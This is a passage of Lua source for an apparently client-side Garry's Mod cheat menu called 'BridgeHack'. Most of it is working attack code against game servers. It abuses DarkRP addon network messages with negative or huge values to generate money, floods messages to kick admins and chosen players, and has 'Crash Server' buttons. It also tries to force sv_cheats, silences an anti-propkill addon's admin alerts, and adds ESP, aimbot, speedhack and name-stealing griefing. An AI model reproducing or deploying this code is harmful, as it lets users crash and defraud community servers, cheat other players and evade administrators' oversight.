1006local player2kick = CreateClientConVar("g_mx_playername", " ", true, false)
1007function kickdaplayer()
1008timer.Create( "heymnangng2", 3, 0, function()
1009for k,v in ipairs(player.GetAll()) do
1010if v:Nick() == GetConVar("g_mx_playername") then
1011clearcon()
1012print("Kicking: ")
1013print(v:Nick())
1014for i=0, 700 do
1015net.Start( "GetCar" )
1016net.WriteEntity(v)
1017net.WriteEntity(v)
1018net.SendToServer()
1019end
1020chatP("Kicked ".. v:Nick())
1021consoleP("Kicked ".. v:Nick())
1022end end end) end
1023concommand.Add( "bh_mx_kickplayer", kickdaplayer, SVersionCheck )
1024
1025concommand.Add("Bh_clearcon",function()
1026 clearcon()
1027
1028end)
1029
1030concommand.Add("Bh_clearchat",function()
1031 cleardchat()
1032
1033end)
1034
1035
1036concommand.Add("bh_3dcardealer_spamstore",function()
1037 chatP("You better be looking at a car")
1038 for i=0,100 do
1039 clearcon()
1040 chatP("Spamming store... ".."["..i.."]")
1041 net.Start( "RXCAR_Shop_Sell_C2S" )
1042 net.WriteTable({EAA=sweg, CDAA})
1043 net.SendToServer()
1044 end
1045
1046end)
1047
1048concommand.Add("bh_serverlist",function()
1049 status("Printing lise to console...")
1050 chatP("Check console.")
1051 clearcon()
1052 consoleP(""..serverlist.."")
1053 status("Complete")
1054
1055end)
1056
1057function CheckAE()
1058
1059 if requestTables then
1060 print("ae found, bh_ae will work")
1061 chatP("AE was found, bh_ae will work.")
1062 else
1063 chatP("AE was not found, bh_ae will not work.")
1064 end end
1065concommand.Add("bh_aecheck", CheckAE, SVersionCheck)
1066
1067concommand.Add("bh_ae_kickadmins",function()
1068clearcon()
1069chatP("Attempting to Kick admins")
1070chatP("This will only work on admins+")
1071timer.Create( "aekickdaskids", 3, 0, function()
1072for k,v in ipairs(player.GetAll()) do
1073if( v:GetUserGroup() != "user" ) then
1074if( v:GetUserGroup() != "vip" ) then
1075for i=0, 1000 do
1076net.Start('plyWarning')
1077 net.WriteEntity(v)
1078 net.WriteString('You have to select a player before doing a action.')
1079 net.SendToServer()
1080end
1081chatP('Attempting to kick: '.. v:Nick().. "!")
1082
1083end end end end) end)
1084
1085concommand.Add("bh_namesteal_on",function()
1086 status("Running Script: Random Name Change [name steal]....")
1087
1088 timer.Create("startNAMECHANGEsteal", 0.12, 0, function()
1089 local plylastname = ply:Nick()
1090 for k,v in pairs(player.GetAll()) do
1091 local ligger_type = math.random(1,2)
1092 local ligger_type1 = math.random(1,2)
1093 status("Trying Name change to " .. v:Nick() .. " - " .. v:SteamID())
1094 if ligger_type1 == ligger_type then
1095 status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
1096 if plylastname == v:Nick() then
1097 local ligger_type = math.random(1,2)
1098 local ligger_type1 = math.random(1,2)
1099 else
1100 ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
1101 status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
1102 end
1103 local ligger_type = math.random(1,2)
1104 local ligger_type1 = math.random(1,2)
1105 end end end) end)
1106
1107concommand.Add("bh_namesteal_off",function()
1108 timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
1109 end) end)
1110
1111concommand.Add("bh_removelookingat",function()
1112 chatP("Removing prop looking at...")
1113 net.Start( "MDE_RemoveStuff_C2S" )
1114 net.WriteTable( {DATA="",TARGET=sweg} )
1115 net.SendToServer()
1116
1117end)
1118
1119
1120if dspam == true then
1121 chatP("Spam split / make shipment ON")
1122 timer.Create("spamdashit"..BridgeHack.RandomVar,0.1,function()
1123 for k,v in pairs(ents.GetAll()) do
1124 if v.Entity:GetString() == "spawned_shipment" then
1125 status("Splitting shipment")
1126 RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
1127 elseif v.Entity:GetClassName() == "spawned_weapon" then
1128 status("Making shipment")
1129 RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
1130 end end end) end
1131
1132if dspam == false then
1133 chatP("Spam split / make shipment OFF")
1134 timer.Simple(1,function()
1135 timer.Destroy("spamdashit"..BridgeHack.RandomVar,function()
1136 end) end) end
1137
1138
1139concommand.Add("bh_kun_ziptie_untie",function()
1140
1141 chatP("Untieing...")
1142
1143 for i=0,30 do
1144
1145 net.Start("Kun_ZiptieStruggle")
1146
1147 net.SendToServer()
1148
1149 end
1150
1151end)
1152
1153local ag_toggle = 0
1154local hook_toggle = 0
1155function GenAmmo()
1156 lastgun = LocalPlayer():GetActiveWeapon():GetClass()
1157 if hook_toggle == 0 then
1158 hook.Add("CreateMove", "lolammo", function(cmd)
1159 RunConsoleCommand("darkrp", "drop")
1160 RunConsoleCommand("use", lastgun)
1161 if ag_toggle == 0 then
1162 cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_USE))
1163 ag_toggle = 1
1164 else
1165 cmd:SetButtons(bit.band(cmd:GetButtons(), bit.bnot(IN_USE)))
1166 ag_toggle = 0
1167 end
1168 end)
1169 hook_toggle = 1
1170 else
1171 hook.Remove("CreateMove", "lolammo")
1172 hook_toggle = 0
1173 end
1174end
1175
1176concommand.Add("bh_fuckin_ammo", GenAmmo)
1177
1178concommand.Add("___darkrpshipments", function()
1179 if dspam != true then
1180 dspam = true
1181 elseif dspam == true then
1182 dspam = false
1183 end end)
1184
1185local function BridgeHackCHECK(v)
1186 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
1187 return true
1188 else
1189 return false
1190 end end
1191
1192hook.Add("HUDPaint", "JESP", function()
1193 for k,v in pairs(player.GetAll()) do
1194 if GetConVarNumber("bh_esp") > 0 then
1195 if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then
1196 if GetConVarNumber("bh_renderdistance_enable") > 0 then
1197 if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("bh_esp_rdistance") then
1198 local PlayerESP = (v:EyePos()):ToScreen()
1199 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1200 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1201
1202 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1203
1204 if GetConVarNumber("bh_esp_rank") > 0 then
1205 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1206 end
1207
1208 if GetConVarNumber("bh_esp_hp") > 0 then
1209 local infocolor = Color(255,0,255)
1210 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1211 end
1212
1213 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1214 local min, max = v:WorldSpaceAABB()
1215
1216 min, max = min:ToScreen(), max:ToScreen()
1217
1218 local h = (min.y / 2) - (max.y / 2)
1219 surface.SetDrawColor(col.g, col.b, col.r)
1220
1221 if GetConVarNumber("bh_esp_box") > 0 then
1222 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1223 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1224 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1225 end end
1226 else
1227
1228 local PlayerESP = (v:EyePos()):ToScreen()
1229 local infocolor = Color(0,255,0)
1230 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1231 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1232
1233 if GetConVarNumber("bh_esp_rank") > 0 then
1234 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1235 end
1236
1237 if GetConVarNumber("bh_esp_hp") > 0 then
1238 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1239 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1240 end
1241
1242 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1243
1244 local min, max = v:WorldSpaceAABB()
1245 min, max = min:ToScreen(), max:ToScreen()
1246 local h = (min.y / 2) - (max.y / 2)
1247
1248 surface.SetDrawColor(col.g, col.b, col.r)
1249
1250 if GetConVarNumber("bh_esp_box") > 0 then
1251 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1252 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1253 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1254 end end end end end end)
1255
1256function blur_on()
1257 DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
1258end
1259
1260function blur_off()
1261 DrawMaterialOverlay( "", 0.1 )
1262end
1263
1264concommand.Add("+bh_menu", function( ply )
1265 status("Menu Opened.")
1266 if GetConVarNumber("bh_menu_effects") == 1 then
1267 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
1268 end
1269--[[
1270 mainmenu
1271
1272
1273 THE MAIN
1274
1275
1276 MENU
1277
1278
1279
1280 STARTS
1281
1282
1283
1284 HERE
1285
1286 |
1287 V
1288]]--
1289local menu = DermaMenu()
1290menu:Center()
1291menu:AddOption( "v1 "..dlversion, function()
1292 AboutMenu()
1293end ):SetImage( "icon16/shield.png" )
1294menu:AddSpacer()
1295function menu:Paint( w, h )
1296 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
1297 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
1298 surface.SetDrawColor( 0,0,0 )
1299 surface.DrawOutlinedRect( 0, 0, w, h)
1300end
1301local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
1302
1303ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
1304 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
1305 status("Forced SV_ALLOWCSLUA TO 1")
1306end):SetImage( "icon16/link_error.png" )
1307
1308ForcingMenu:AddOption( "Force sv_cheats 1", function()
1309 ply:ConCommand("incrementvar sv_cheats 0 1 1")
1310 status("Forced SV_CHEATS TO 1")
1311end):SetImage( "icon16/link_error.png" )
1312
1313local ESP = menu:AddSubMenu("ESP")
1314
1315ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
1316ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
1317
1318ESP:AddOption( "[ON] Chams", function()
1319 RunConsoleCommand("bh_chams", "1")
1320 status("Chams Activated")
1321end):SetImage( "icon16/group_add.png" )
1322
1323ESP:AddOption( "[OFF] Chams", function()
1324 RunConsoleCommand("bh_chams", "0")
1325 status("Chams Deactivated")
1326end):SetImage( "icon16/group_add.png" )
1327
1328ESP:AddOption( "[On] Aimbot", function()
1329 RunConsoleCommand("K_aimbot_autofire", "1")
1330 RunConsoleCommand("K_aimbot_+realistic", "1")
1331 status("Aimbot Activated")
1332end):SetImage( "icon16/group_add.png" )
1333
1334ESP:AddOption( "[OFF] Aimbot", function()
1335 RunConsoleCommand("K_aimbot_autofire", "0")
1336 RunConsoleCommand("K_aimbot_-realistic")
1337 status("Aimbot Deactivated")
1338end):SetImage( "icon16/group_add.png" )
1339
1340local Speed = menu:AddSubMenu("Speed")
1341Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
1342Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
1343
1344
1345local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
1346NameStealSub:AddOption( "[ON] Name Steal", function()
1347 ply:ConCommand("bh_namesteal_on")
1348end ):SetImage( "icon16/book_addresses.png" )
1349
1350NameStealSub:AddOption( "[OFF] Name Steal", function()
1351 status("Stopped Script: Random Name Change [name steal]")
1352 ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
1353
1354local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
1355
1356 MoneyExploits:AddOption("[$$] Drug Sell",function()
1357 for i=1,1000 do
1358 net.Start("Kun_SellDrug")
1359 net.WriteString("Meth")
1360 net.SendToServer()
1361 end end):SetImage( "icon16/coins_add.png" )
1362
1363 MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
1364 chatp("Giving money")
1365 net.Start("Taxi_Add")
1366 net.WriteString("MLG")
1367 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
1368 net.WriteFloat(-99999999)
1369 net.WriteString(Desc)
1370 net.SendToServer()
1371 end):SetImage( "icon16/coins_add.png" )
1372
1373 MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
1374 chatP("Attempting to give money..")
1375 for k,v in pairs(ents.GetAll()) do
1376 swag = v
1377 end
1378 net.Start( 'NET_SS_DoBuyTakeoff' )
1379 net.WriteEntity(LocalPlayer())
1380 net.WriteEntity(swag)
1381 net.WriteTable({'spawned_weapon'})
1382 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
1383 net.SendToServer()
1384 end):SetImage( "icon16/coins_add.png" )
1385
1386 MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
1387 chatP("Attempting to give money..")
1388 net.Start( "DaHit" )
1389 net.WriteFloat( -1000000000000000000000 )
1390 --net.WriteFloat( tm )
1391 net.WriteEntity( LocalPlayer() )
1392 net.WriteEntity( LocalPlayer() )
1393 net.WriteEntity( LocalPlayer() )
1394 net.SendToServer()
1395 end):SetImage( "icon16/coins_add.png" )
1396
1397 MoneyExploits:AddOption( "[$$] HHH MONEY",function()
1398 local ply = LocalPlayer()
1399 for k,v in pairs(player.GetAll()) do
1400 dahater = v
1401 end
1402
1403 local hitRequest = {}
1404 hitRequest.hitman = ply
1405 hitRequest.requester = ply
1406 hitRequest.target = dahater
1407 hitRequest.reward = 100000000
1408
1409 net.Start( 'hhh_request' )
1410 net.WriteTable( hitRequest )
1411 net.SendToServer()
1412
1413 end):SetImage( "icon16/coins_add.png" )
1414
1415 MoneyExploits:AddOption("[$$] BOONPC",function()
1416 net.Start('BuyCar')
1417 net.WriteFloat(-1000000000000)
1418 net.WriteEntity(LocalPlayer())
1419 net.WriteString("BridgeHack")
1420 net.WriteString("BridgeHack")
1421 net.WriteString("BridgeHack")
1422 net.SendToServer()
1423 end):SetImage( "icon16/coins_add.png" )
1424
1425 MoneyExploits:AddOption("[$$] Hitman X Menu",function()
1426 local frame = vgui.Create( "DFrame" )
1427 frame:Center()
1428 frame:SetSize( 200,150 )
1429 frame:SetTitle( "" )
1430 frame:MakePopup()
1431 frame:ShowCloseButton( false )
1432 function frame:Paint( w, h )
1433 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1434 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1435 draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1436 end
1437
1438 local playerMenu = vgui.Create( "DComboBox", frame )
1439 playerMenu:SetPos( 10,40 )
1440 playerMenu:SetSize( 120,20 )
1441 playerMenu:SetText( "Select a Player")
1442 for k, v in pairs( player.GetAll() ) do
1443 playerMenu:AddChoice( tostring( v:Name() ) )
1444 playerMenu:SetTextColor(color_black)
1445 end
1446
1447 local Button = vgui.Create("DButton", frame)
1448 Button:SetPos( 180, 2 )
1449 Button:SetSize( 20, 20 )
1450 Button:SetText( "" )
1451 function Button:Paint( w, h )
1452 draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1453 end
1454 Button.DoClick = function()
1455 frame:Close()
1456 end
1457
1458 local SpamHit = vgui.Create("DButton", frame )
1459 SpamHit:SetPos( 20,70 )
1460 SpamHit:SetSize( 150,20 )
1461 SpamHit:SetText( "Get Money" )
1462 SpamHit:SetTextColor( Color(0,0,0) )
1463 SpamHit.DoClick = function()
1464 local v = playerMenu:GetText()
1465 net.Start( "SendMoney" )
1466 net.WriteEntity( v )
1467 net.WriteEntity( v )
1468 net.WriteEntity( v )
1469 net.WriteString( "-100000000000000000000000000000000000000000" )
1470 net.SendToServer()
1471 end
1472
1473 local CrashButton = vgui.Create("DButton", frame )
1474 CrashButton:SetPos( 20,90 )
1475 CrashButton:SetSize( 150,20 )
1476 CrashButton:SetText( "Crash Server" )
1477 CrashButton:SetTextColor( Color(0,0,0) )
1478 CrashButton.DoClick = function()
1479 for i=0, 10 do
1480 ply:ConCommand("bh_hitmanxcrash")
1481 end
1482 end
1483
1484 local InfaButton = vgui.Create("DButton", frame )
1485 InfaButton:SetPos( 20,110 )
1486 InfaButton:SetSize( 150,20 )
1487 InfaButton:SetText( "Infinite Money For Everyone" )
1488 InfaButton:SetTextColor( Color(0,0,0) )
1489 InfaButton.DoClick = function()
1490 ply:ConCommand("bh_hitmanxinfa")
1491 end
1492 end):SetImage( "icon16/application_form.png" )
1493
1494 MoneyExploits:AddOption( "[$$] HITMENU",function()
1495 local HitPanel = vgui.Create( "DFrame" )
1496 HitPanel:SetPos( ScrW()/5, ScrH()/10 )
1497 HitPanel:SetSize( 300, 200 )
1498 HitPanel:SetTitle( " " )
1499 HitPanel:SetVisible( true )
1500 HitPanel:SetDraggable( true )
1501 HitPanel:ShowCloseButton( false )
1502 HitPanel:MakePopup()
1503 function HitPanel:Paint( w, h )
1504 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
1505 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1506 draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1507 end
1508
1509 local Button = vgui.Create("DButton", HitPanel)
1510 Button:SetPos( 250, 0 )
1511 Button:SetSize( 50, 25 )
1512 Button:SetText( "" )
1513 function Button:Paint( w, h )
1514 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1515 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1516 end
1517 Button.DoClick = function()
1518 HitPanel:Close()
1519 end
1520
1521 local HitButton = vgui.Create("DButton", HitPanel)
1522 HitButton:SetPos( 140, 100 )
1523 HitButton:SetSize( 100, 20 )
1524 HitButton:SetText( "Get Money" )
1525 HitButton:SetTextColor( Color(255,255,255) )
1526 function HitButton:Paint( w, h )
1527 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1528 end
1529 HitButton.DoClick = function()
1530 ply:ConCommand("bh_hithack")
1531 end
1532
1533 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
1534 HitSlider:SetPos( 20, 50 )
1535 HitSlider:SetSize( 300, 40 )
1536 HitSlider:SetText( "Money Ammount" )
1537 HitSlider:SetMin( 0 )
1538 HitSlider:SetMax( 1000000000 )
1539 HitSlider:SetDecimals( 0 )
1540 HitSlider:SetConVar( "bh_hitmenuammount" )
1541
1542 end):SetImage( "icon16/coins_add.png" )
1543
1544 MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
1545 ply:ConCommand("bh_3dcardealer_spamstore")
1546 end):SetImage( "icon16/coins_add.png" )
1547
1548 MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
1549 chatP("Attempting to give money..")
1550 for i=0,30 do
1551 for i=1,10 do
1552 net.Start( "AttemptSellCar" )
1553 net.WriteInt( i, 8 )
1554 net.SendToServer()
1555 end
1556 end
1557 end):SetImage( "icon16/coins_add.png" )
1558
1559 MoneyExploits:AddOption( "[$$] BAILNPC",function()
1560 chatP("Attempting to give money..")
1561 net.Start( "BailOut" )
1562 net.WriteEntity( ply )
1563 net.WriteEntity( ply )
1564 net.WriteFloat( -10000000000000)
1565 net.SendToServer()
1566 end):SetImage( "icon16/coins_add.png" )
1567
1568 MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
1569 local DermaPanel = vgui.Create( "DFrame" )
1570 DermaPanel:SetPos( 100, 100 )
1571 DermaPanel:SetSize( 300, 200 )
1572 DermaPanel:SetTitle( " " )
1573 DermaPanel:SetVisible( true )
1574 DermaPanel:SetDraggable( true )
1575 DermaPanel:ShowCloseButton( true )
1576 function DermaPanel:Paint( w, h )
1577 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
1578 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1579 draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1580 end
1581 DermaPanel:MakePopup()
1582
1583 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
1584 TextEntry:SetPos( 75, 30 )
1585 TextEntry:SetSize( 150, 25 )
1586 TextEntry:SetText( "Account num(Including the -!)" )
1587
1588 local BBDButton = vgui.Create( "DButton",DermaPanel )
1589 BBDButton:SetPos( 10, 120 )
1590 BBDButton:SetText( "Give Money" )
1591 BBDButton:SetTextColor( Color(255,255,255) )
1592 BBDButton:SetSize( 280, 75 )
1593 function BBDButton:Paint( w, h )
1594 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
1595 end
1596 BBDButton.DoClick = function()
1597 local accnumber = TextEntry:GetValue()
1598 local moneytogive = GetConVarNumber("bh_ratm_money2give")
1599 chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
1600 net.Start("ATM_DepositMoney_C2S")
1601 net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
1602 net.SendToServer()
1603 end
1604
1605 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
1606 RenderDistance:SetPos( 10, 50)
1607 RenderDistance:SetSize( 275, 25 )
1608 RenderDistance:SetText( "Money to give" )
1609 RenderDistance:SetMin( 0 )
1610 RenderDistance:SetMax( 500000 )
1611 RenderDistance:SetDecimals( 0 )
1612 RenderDistance:SetConVar( "bh_ratm_money2give" )
1613 end):SetImage("icon16/coins_add.png")
1614
1615 MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
1616 chatP("Giving money..")
1617 for k,v in pairs(ents.GetAll()) do
1618 status("Attempting to make fine")
1619 net.Start("TOW_SubmitWarning")
1620 net.WriteString(LocalPlayer():SteamID())
1621 net.WriteDouble(-100000000000)
1622 net.WriteEntity(v)
1623 net.SendToServer()
1624
1625 net.Start("TOW_PayTheFine")
1626 net.WriteEntity(v)
1627 net.SendToServer()
1628 end
1629 end):SetImage( "icon16/coins_add.png" )
1630
1631local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
1632
1633
1634 DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
1635 ply:ConCommand("bh_dlogs_lag")
1636 end):SetImage( "icon16/table_error.png" )
1637
1638 DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
1639 ply:ConCommand("bh_dlogs_lag_off")
1640 end):SetImage( "icon16/table_add.png" )
1641
1642 DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
1643 local ply = LocalPlayer()
1644
1645 local frame = vgui.Create( "DFrame" )
1646 frame:Center()
1647 frame:SetSize( 200,150 )
1648 frame:SetTitle( "" )
1649 frame:MakePopup()
1650 frame:ShowCloseButton( false )
1651 function frame:Paint( w, h )
1652 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1653 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1654 draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1655 end
1656
1657 local playerMenu = vgui.Create( "DComboBox", frame )
1658 playerMenu:SetPos( 10,40 )
1659 playerMenu:SetSize( 120,20 )
1660 playerMenu:SetText( "Select a Player")
1661 for k, v in pairs( player.GetAll() ) do
1662 playerMenu:AddChoice( tostring( v:Name() ) )
1663 end
1664
1665 local SpamHit = vgui.Create("DButton", frame )
1666 SpamHit:SetPos( 50,70 )
1667 SpamHit:SetSize( 100,20 )
1668 SpamHit:SetText( "Place Dem Hits" )
1669 SpamHit:SetTextColor( Color(0,0,0) )
1670 SpamHit.DoClick = function()
1671 local v = playerMenu:GetText()
1672 for i=0, 4 do
1673 ply:ConCommand('addhit "'..v..'" 500')
1674 end
1675 end
1676
1677 local CrashButton = vgui.Create("DButton", frame )
1678 CrashButton:SetPos( 50,110 )
1679 CrashButton:SetSize( 100,20 )
1680 CrashButton:SetText( "Crash Server" )
1681 CrashButton:SetTextColor( Color(0,0,0) )
1682 CrashButton.DoClick = function()
1683 chatP("Hitmanmenu got rekt!")
1684 consoleP("Hitmanmenu got rekt")
1685 for i=0, 10 do
1686 ply:ConCommand("bh_hitmancrash")
1687 end
1688 end
1689
1690 local Button = vgui.Create("DButton", frame)
1691 Button:SetPos( 170, 0 )
1692 Button:SetSize( 30, 20 )
1693 Button:SetText( "Close" )
1694 Button:SetTextColor( Color( 255, 255, 255) )
1695 function Button:Paint( w, h )
1696 draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
1697 end
1698 Button.DoClick = function()
1699 frame:Close()
1700 end
1701
1702 local label = vgui.Create( "DLabel", frame )
1703 label:SetPos( 10,20 )
1704 label:SetSize( 120,20 )
1705 label:SetTextColor( Color(0,0,0) )
1706 label:SetText( "Select Player:" )
1707 end):SetImage("icon16/accept.png")
1708
1709
1710 DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
1711 ply:ConCommand("bh_advert 1")
1712 end):SetImage( "icon16/bell_add.png" )
1713
1714 DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
1715 ply:ConCommand("bh_advert 0")
1716 end):SetImage( "icon16/bell_delete.png" )
1717
1718 DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
1719 timer.Simple(0.1,function()
1720 chatP("(This can be binded to: bh_removelookingat)")
1721 ply:ConCommand("bh_removelookingat")
1722 end)
1723 end):SetImage("icon16/map_delete.png")
1724
1725 DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
1726 ply:ConCommand("bh_kun_ziptie_untie")
1727 end):SetImage( "icon16/cut.png" )
1728
1729 DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
1730 ply:ConCommand("___darkrpshipments")
1731 end):SetImage( "icon16/cut_red.png" )
1732
1733 DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
1734 timer.Create("lollol3294385", 0.2, 0, function( )
1735 for k,v in pairs(player.GetAll()) do
1736 local ligger_type = math.random(1,13)
1737 local ligger_type1 = math.random(1,13)
1738 status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
1739 if ligger_type1 == ligger_type then
1740 if last_ply == v:Nick() then
1741 local ligger_type = math.random(1,13)
1742 local ligger_type1 = math.random(1,13)
1743 else
1744 ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
1745 end
1746
1747 local last_ply = v:Nick()
1748 local ligger_type = math.random(1,13)
1749 local ligger_type1 = math.random(1,13)
1750 status("Force Wanting: " .. v:Nick())
1751 end
1752 end
1753 end)
1754 end):SetImage( "icon16/cross.png" )
1755
1756 DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
1757 timer.Destroy("lollol3294385")
1758 status("Stopped Want All Police")
1759 end):SetImage( "icon16/tick.png" )
1760
1761 DARKRPBASEDSUB:AddOption( "Super Rope Width", function()
1762 ply:ConCommand("bh_annoying_rope")
1763 end):SetImage( "icon16/accept.png" )
1764
1765 DARKRPBASEDSUB:AddOption( "Super Elastic Width", function()
1766 ply:ConCommand("bh_elstic_width ")
1767 end):SetImage( "icon16/accept.png" )
1768
1769
1770 local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
1771 SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
1772 ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1773 ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1774 status("Spoofed Physgun And Player Color.")
1775 end):SetImage( "icon16/color_wheel.png" )
1776
1777 local exploitshacks = menu:AddSubMenu("Exploits")
1778
1779 exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
1780 chatP("Bypassing Apanti..")
1781 net.Receive("sMsgStandard", function()
1782 print("#Bypassed by HaxRUs")
1783 end)
1784
1785 net.Receive("sNotifyHit", function()
1786
1787 end)
1788
1789 net.Receive("sMsgAdmins", function()
1790
1791 end)
1792
1793 net.Receive("sAlertNotice", function()
1794
1795 end)
1796 end):SetImage( "icon16/link_break.png" )
1797
1798 exploitshacks:AddOption("Dupe Gun",function()
1799 ply:ConCommand("dark_wepdupe")
1800 chatP("Duplicating Gun..")
1801 end):SetImage( "icon16/book_error.png" )
1802
